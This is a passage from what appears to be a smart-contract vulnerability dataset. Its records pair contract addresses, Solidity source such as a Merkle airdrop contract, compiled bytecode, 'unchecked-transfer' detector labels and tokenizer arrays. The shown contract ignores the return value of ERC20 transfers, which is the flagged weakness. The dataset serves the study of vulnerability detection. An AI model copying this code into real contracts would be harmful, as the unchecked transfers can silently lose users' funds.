673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506007600083815260200190815260200160002060010154600560008282540392505081905550600080600660006007600087815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050600091505b808210156117f15783600660006007600088815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061161e57fe5b906000526020600020015414156117e457600660006007600087815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060018203815481106116b257fe5b9060005260206000200154600660006007600088815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061173d57fe5b9060005260206000200181905550600660006007600087815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806117c957fe5b600190038181906000526020600020016000905590556117f1565b8180600101925050611595565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360076000888152602001908152602001600020600101546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118b057600080fd5b505af11580156118c4573d6000803e3d6000fd5b505050506040513d60208110156118da57600080fd5b81019080805190602001909291905050506118f457600080fd5b7f5881498f95d2bf33420866eeead2c535ba75b61cdbf7faab60300faa4828d1308484336007600089815260200190815260200160002060010154604051808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a150505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006119f26005546119e461256c565b612a1990919063ffffffff16565b905090565b6007600082815260200190815260200160002060040160009054906101000a900460ff1615611a2557600080fd5b6007600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9357600080fd5b611ab26007600083815260200190815260200160002060030154612c62565b611b24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5061636b616765206973206e6f7420616374697665000000000000000000000081525060200191505060405180910390fd5b611b436007600083815260200190815260200160002060030154612b24565b600760008381526020019081526020016000206002018190555050565b60066020528160005260406000208181548110611b7957fe5b90600052602060002001600091509150505481565b611b966129d6565b73ffffffffffffffffffffffffffffffffffffffff16611bb4612150565b73ffffffffffffffffffffffffffffffffffffffff1614611c3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611c83573d6000803e3d6000fd5b5050565b60606004805480602002602001604051908101604052809291908181526020018280548015611cd557602002820191906000526020600020905b815481526020019060010190808311611cc1575b5050505050905090565b611ce76129d6565b73ffffffffffffffffffffffffffffffffffffffff16611d05612150565b73ffffffffffffffffffffffffffffffffffffffff1614611d8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611e556129d6565b73ffffffffffffffffffffffffffffffffffffffff16611e73612150565b73ffffffffffffffffffffffffffffffffffffffff1614611efc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f8857600080fd5b505af1158015611f9c573d6000803e3d6000fd5b505050506040513d6020811015611fb257600080fd5b81019080805190602001909291905050505050505050565b60018181548110611fd757fe5b9060005260206000209060050201600091509050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120835780601f1061205857610100808354040283529160200191612083565b820191906000526020600020905b81548152906001019060200180831161206657829003601f168201915b5050505050908060010154908060020154908060030154908060040160009054906101000a900460ff16905085565b6000806000806007600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760008781526020019081526020016000206001015460076000888152602001908152602001600020600201546007600089815260200190815260200160002060040160009054906101000a900460ff1693509350935093509193509193565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60035481565b60055481565b61218d6129d6565b73ffffffffffffffffffffffffffffffffffffffff166121ab612150565b73ffffffffffffffffffffffffffffffffffffffff1614612234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61223c612c97565b6040518060a00160405280868152602001858152602001848152602001838152602001600115158152509050600181908060018154018082558091505060019003906000526020600020906005020160009091909190915060008201518160000190805190602001906122b0929190612cc8565b5060208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555050505050505050565b60076020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040160009054906101000a900460ff16905085565b6004818154811061236857fe5b906000526020600020016000915090505481565b60606000806000806001805490508661ffff1610612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e646578206f7574206f662072616e6765000000000000000000000000000081525060200191505060405180910390fd5b60018661ffff168154811061241357fe5b906000526020600020906005020160000160018761ffff168154811061243557fe5b90600052602060002090600502016001015460018861ffff168154811061245857fe5b90600052602060002090600502016002015460018961ffff168154811061247b57fe5b90600052602060002090600502016003015460018a61ffff168154811061249e57fe5b906000526020600020906005020160040160009054906101000a900460ff16848054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125525780601f1061252757610100808354040283529160200191612552565b820191906000526020600020905b81548152906001019060200180831161253557829003601f168201915b505050505094509450945094509450945091939590929450565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561260d57600080fd5b505afa158015612621573d6000803e3d6000fd5b505050506040513d602081101561263757600080fd5b8101908080519060200190929190505050905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61267b6129d6565b73ffffffffffffffffffffffffffffffffffffffff16612699612150565b73ffffffffffffffffffffffffffffffffffffffff1614612722576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600180549050821061279c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e646578206f7574206f662072616e6765000000000000000000000000000081525060200191505060405180910390fd5b80600183815481106127aa57fe5b906000526020600020906005020160040160006101000a81548160ff0219169083151502179055505050565b6127de6129d6565b73ffffffffffffffffffffffffffffffffffffffff166127fc612150565b73ffffffffffffffffffffffffffffffffffffffff1614612885576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561290b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612d6e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600180549050905090565b600033905090565b60008060029050600060649050612a1081612a028487612b5390919063ffffffff16565b612bd990919063ffffffff16565b92505050919050565b600082821115612a91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015612b1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000426201518060018481548110612b3857fe5b90600052602060002090600502016001015402019050919050565b600080831415612b665760009050612bd3565b6000828402905082848281612b7757fe5b0414612bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d946021913960400191505060405180910390fd5b809150505b92915050565b6000808211612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b818381612c5957fe5b04905092915050565b600060018281548110612c7157fe5b906000526020600020906005020160040160009054906101000a900460ff169050919050565b6040518060a00160405280606081526020016000815260200160008152602001600081526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612d0957805160ff1916838001178555612d37565b82800160010185558215612d37579182015b82811115612d36578251825591602001919060010190612d1b565b5b509050612d449190612d48565b5090565b612d6a91905b80821115612d66576000816000905550600101612d4e565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212204529a4d4cf9734a7ed0b3a9c39b3f089747054dd68533bdeb045e3adf2b4950364736f6c63430006020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17914, 2475, 2546, 2683, 4215, 2094, 18613, 17465, 2620, 6305, 21472, 2497, 23352, 2581, 19797, 22907, 3401, 2278, 2581, 2063, 2575, 2094, 19961, 2575, 19317, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,855
0x978090cefBe48B5C785e1265F60A41B92E27bE52
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; /** * Contract which implements a merkle airdrop for a given token * Based on an account balance snapshot stored in a merkle tree */ contract xBNTaMerkleClaim is Ownable { IERC20 token; bytes32 root; // merkle tree root mapping (uint256 => uint256) _redeemed; constructor (IERC20 _token, bytes32 _root) { token = _token; root = _root; } // Check if a given reward has already been redeemed function redeemed(uint256 index) public view returns (uint256 redeemedBlock, uint256 redeemedMask) { redeemedBlock = _redeemed[index / 256]; redeemedMask = (uint256(1) << uint256(index % 256)); require((redeemedBlock & redeemedMask) == 0, "Tokens have already been redeemed"); } // Get airdrop tokens assigned to address // Requires sending merkle proof to the function function redeem(uint256 index, address recipient, uint256 amount, bytes32[] memory merkleProof) public { // Make sure msg.sender is the recipient of this airdrop require(msg.sender == recipient, "The reward recipient should be the transaction sender"); // Make sure the tokens have not already been redeemed (uint256 redeemedBlock, uint256 redeemedMask) = redeemed(index); _redeemed[index / 256] = redeemedBlock | redeemedMask; // Compute the merkle leaf from index, recipient and amount bytes32 leaf = keccak256(abi.encodePacked(index, recipient, amount)); // verify the proof is valid require(MerkleProof.verify(merkleProof, root, leaf), "Proof is not valid"); // Redeem! token.transfer(recipient, amount); } function recoverToken() external onlyOwner { token.transfer(msg.sender, token.balanceOf(address(this))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c80635f867d4e14610067578063715018a6146100715780637ed0f1c11461007b5780638da5cb5b146100ac578063e7ef921a146100ca578063f2fde38b146100e6575b600080fd5b61006f610102565b005b6100796102da565b005b61009560048036038101906100909190610a78565b610414565b6040516100a3929190610ea7565b60405180910390f35b6100b4610498565b6040516100c19190610dc3565b60405180910390f35b6100e460048036038101906100df9190610aca565b6104c1565b005b61010060048036038101906100fb9190610a26565b61069a565b005b61010a610843565b73ffffffffffffffffffffffffffffffffffffffff16610128610498565b73ffffffffffffffffffffffffffffffffffffffff161461017e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161017590610e67565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102189190610dc3565b60206040518083038186803b15801561023057600080fd5b505afa158015610244573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102689190610aa1565b6040518363ffffffff1660e01b8152600401610285929190610dde565b602060405180830381600087803b15801561029f57600080fd5b505af11580156102b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d79190610a4f565b50565b6102e2610843565b73ffffffffffffffffffffffffffffffffffffffff16610300610498565b73ffffffffffffffffffffffffffffffffffffffff1614610356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034d90610e67565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060036000610100856104299190610f3e565b8152602001908152602001600020549150610100836104489190611042565b6001901b9050600081831614610493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048a90610e27565b60405180910390fd5b915091565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461052f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052690610e87565b60405180910390fd5b60008061053b86610414565b9150915080821760036000610100896105549190610f3e565b815260200190815260200160002081905550600086868660405160200161057d93929190610d86565b6040516020818303038152906040528051906020012090506105a2846002548361084b565b6105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d890610e47565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87876040518363ffffffff1660e01b815260040161063e929190610dde565b602060405180830381600087803b15801561065857600080fd5b505af115801561066c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106909190610a4f565b5050505050505050565b6106a2610843565b73ffffffffffffffffffffffffffffffffffffffff166106c0610498565b73ffffffffffffffffffffffffffffffffffffffff1614610716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070d90610e67565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d90610e07565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b60008082905060005b8551811015610919576000868281518110610898577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508083116108d95782816040516020016108bc929190610d5a565b604051602081830303815290604052805190602001209250610905565b80836040516020016108ec929190610d5a565b6040516020818303038152906040528051906020012092505b50808061091190610fc1565b915050610854565b508381149150509392505050565b600061093a61093584610f01565b610ed0565b9050808382526020820190508285602086028201111561095957600080fd5b60005b85811015610989578161096f88826109e7565b84526020840193506020830192505060018101905061095c565b5050509392505050565b6000813590506109a28161110d565b92915050565b600082601f8301126109b957600080fd5b81356109c9848260208601610927565b91505092915050565b6000815190506109e181611124565b92915050565b6000813590506109f68161113b565b92915050565b600081359050610a0b81611152565b92915050565b600081519050610a2081611152565b92915050565b600060208284031215610a3857600080fd5b6000610a4684828501610993565b91505092915050565b600060208284031215610a6157600080fd5b6000610a6f848285016109d2565b91505092915050565b600060208284031215610a8a57600080fd5b6000610a98848285016109fc565b91505092915050565b600060208284031215610ab357600080fd5b6000610ac184828501610a11565b91505092915050565b60008060008060808587031215610ae057600080fd5b6000610aee878288016109fc565b9450506020610aff87828801610993565b9350506040610b10878288016109fc565b925050606085013567ffffffffffffffff811115610b2d57600080fd5b610b39878288016109a8565b91505092959194509250565b610b4e81610f6f565b82525050565b610b65610b6082610f6f565b61100a565b82525050565b610b7c610b7782610f8d565b61101c565b82525050565b6000610b8f602683610f2d565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610bf5602183610f2d565b91507f546f6b656e73206861766520616c7265616479206265656e2072656465656d6560008301527f64000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610c5b601283610f2d565b91507f50726f6f66206973206e6f742076616c696400000000000000000000000000006000830152602082019050919050565b6000610c9b602083610f2d565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000610cdb603583610f2d565b91507f5468652072657761726420726563697069656e742073686f756c64206265207460008301527f6865207472616e73616374696f6e2073656e64657200000000000000000000006020830152604082019050919050565b610d3d81610fb7565b82525050565b610d54610d4f82610fb7565b611038565b82525050565b6000610d668285610b6b565b602082019150610d768284610b6b565b6020820191508190509392505050565b6000610d928286610d43565b602082019150610da28285610b54565b601482019150610db28284610d43565b602082019150819050949350505050565b6000602082019050610dd86000830184610b45565b92915050565b6000604082019050610df36000830185610b45565b610e006020830184610d34565b9392505050565b60006020820190508181036000830152610e2081610b82565b9050919050565b60006020820190508181036000830152610e4081610be8565b9050919050565b60006020820190508181036000830152610e6081610c4e565b9050919050565b60006020820190508181036000830152610e8081610c8e565b9050919050565b60006020820190508181036000830152610ea081610cce565b9050919050565b6000604082019050610ebc6000830185610d34565b610ec96020830184610d34565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715610ef757610ef66110d1565b5b8060405250919050565b600067ffffffffffffffff821115610f1c57610f1b6110d1565b5b602082029050602081019050919050565b600082825260208201905092915050565b6000610f4982610fb7565b9150610f5483610fb7565b925082610f6457610f636110a2565b5b828204905092915050565b6000610f7a82610f97565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610fcc82610fb7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610fff57610ffe611073565b5b600182019050919050565b600061101582611026565b9050919050565b6000819050919050565b600061103182611100565b9050919050565b6000819050919050565b600061104d82610fb7565b915061105883610fb7565b925082611068576110676110a2565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160601b9050919050565b61111681610f6f565b811461112157600080fd5b50565b61112d81610f81565b811461113857600080fd5b50565b61114481610f8d565b811461114f57600080fd5b50565b61115b81610fb7565b811461116657600080fd5b5056fea2646970667358221220b448cf1609163e1c1b187474e278faeef0ffa7d7b41f999ea0c4468f1145a2be64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17914, 21057, 3401, 26337, 2063, 18139, 2497, 2629, 2278, 2581, 27531, 2063, 12521, 26187, 2546, 16086, 2050, 23632, 2497, 2683, 2475, 2063, 22907, 4783, 25746, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 3206, 2029, 22164, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,856
0x97810D326EF8F839fba69Cd62224706cA792C681
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: vesper-token/contracts/Owned.sol pragma solidity 0.6.12; // Requried one small change in openzeppelin version of ownable, so imported // source code here. Notice line 26 